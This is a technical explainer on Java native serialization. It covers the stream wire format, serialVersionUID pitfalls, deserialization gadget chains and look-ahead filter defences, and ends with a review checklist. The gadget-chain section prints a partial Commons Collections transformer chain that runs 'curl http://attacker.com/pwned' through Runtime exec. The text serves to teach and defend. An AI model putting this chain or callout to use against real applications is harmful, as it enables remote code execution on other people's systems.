Java Native Serialization Stream & RCE Gadget Chains
Serialization converts an in-memory Java object graph into a sequential stream of bytes for network transmission or disk storage. While Java has included native serialization since JDK 1.1, its architecture is plagued by severe security vulnerabilities (Remote Code Execution) and massive garbage collection overhead.
1. Java Native Serialization Wire Format
A native Java serialized stream begins with standardized 4-byte magic stream headers:
ββββββββββββββββ¬βββββββββββββββ¬βββββββββββββββββββ¬βββββββββββββββββββββββββ
β STREAM_MAGIC β STREAM_VER β Object Descriptorβ Class Hierarchy Data β
β 0xACED β 0x0005 β TC_OBJECT (0x73) β TC_CLASSDESC (0x72) β
ββββββββββββββββ΄βββββββββββββββ΄βββββββββββββββββββ΄βββββββββββββββββββββββββ
The serialVersionUID Contract
- Every
Serializableclass has a 64-bit hash (serialVersionUID) reflecting its method signatures, fields, and inheritance. - If a class does not declare an explicit
serialVersionUID, the JVM dynamically synthesizes one at runtime using SHA-1 over its reflection metadata. - Production Trap: If a developer adds a private method or changes a field type without declaring an explicit
serialVersionUID, deserialization throwsjava.io.InvalidClassException: local class incompatible, breaking ongoing distributed communication and caching layers.
2. The Deserialization Hazard & Gadget Chains
Native Java deserialization is fundamentally unsafe because ObjectInputStream.readObject() reconstructs an object graph without invoking the class's constructor.
[Attacker Network Payload: 0xACED...]
β
βΌ
[ObjectInputStream.readObject()]
β
βββ Allocates uninitialized object memory directly via Unsafe
β
βββ Deserializes fields and instantiates nested classes
β
βΌ
[Implicit Method Execution: e.g. HashMap.readObject() βββΊ key.hashCode()]
β
βΌ
[Gadget Chain Triggers InvokerTransformer βββΊ Runtime.getRuntime().exec()]
How Gadget Chains Work (e.g. Apache Commons Collections)
- An attacker constructs a nested payload using standard libraries present on the application's classpath.
- In Java, deserializing a
HashMaporBadAttributeValueExpExceptionautomatically invokeshashCode()ortoString()on its contained keys. - The attacker crafts a chain of transformers (such as
ChainedTransformerandInvokerTransformerin Commons Collections) where callinghashCode()triggers reflection that invokes arbitrary system commands:
// Conceptual malicious gadget chain payload
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] { String.class, Class[].class }, new Object[] { "getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] { Object.class, Object[].class }, new Object[] { null, new Object[0] }),
new InvokerTransformer("exec", new Class[] { String.class }, new Object[] { "curl http://attacker.com/pwned" })
};
3. Defense: JEP 290 & JEP 415 Look-Ahead Deserialization Filters
To neutralize deserialization attacks without breaking legacy code, Java introduced Look-Ahead Deserialization Filters (java.io.ObjectInputFilter):
package com.bank.security;
import java.io.ObjectInputFilter;
import java.io.ObjectInputStream;
import java.io.InputStream;
public class HardenedSerializationEngine {
public static ObjectInputStream createSecuredStream(InputStream rawIn) throws Exception {
ObjectInputStream ois = new ObjectInputStream(rawIn);
// Define strict allowlist filter (JEP 290 / JEP 415)
ObjectInputFilter filter = ObjectInputFilter.Config.createFilter(
"com.bank.model.*;" + // Allow only trusted domain classes
"java.lang.String;" + // Allow primitives/strings
"java.util.ArrayList;" + // Allow safe collections
"!*;" + // REJECT everything else by default
"maxdepth=5;" + // Prevent nested recursive stack overflow bombs
"maxarray=1000;" + // Prevent billion-element memory DOS bombs
"maxbytes=65536" // Max payload size: 64 KB
);
ois.setObjectInputFilter(filter);
return ois;
}
}
- Global JVM Guardrail: Enforce system-wide filters via the JVM startup parameter:
-Djdk.serialFilter="com.bank.model.*;java.lang.*;!*"
4. Principal Architect Review Checklist
- Native Serialization Ban: Is native Java serialization (
Serializable/ObjectInputStream) prohibited for any public network ingress endpoints? - Mandatory JEP 290 Filters: If legacy systems require
ObjectInputStream, is an explicit allowlistObjectInputFilterconfigured before reading the first object? - Constructor Bypass Awareness: Do domain classes account for the reality that deserialization bypasses all constructor assertions and validation checks?
- Explicit serialVersionUID: Does every class implementing
Serializabledeclare a private static final longserialVersionUID?
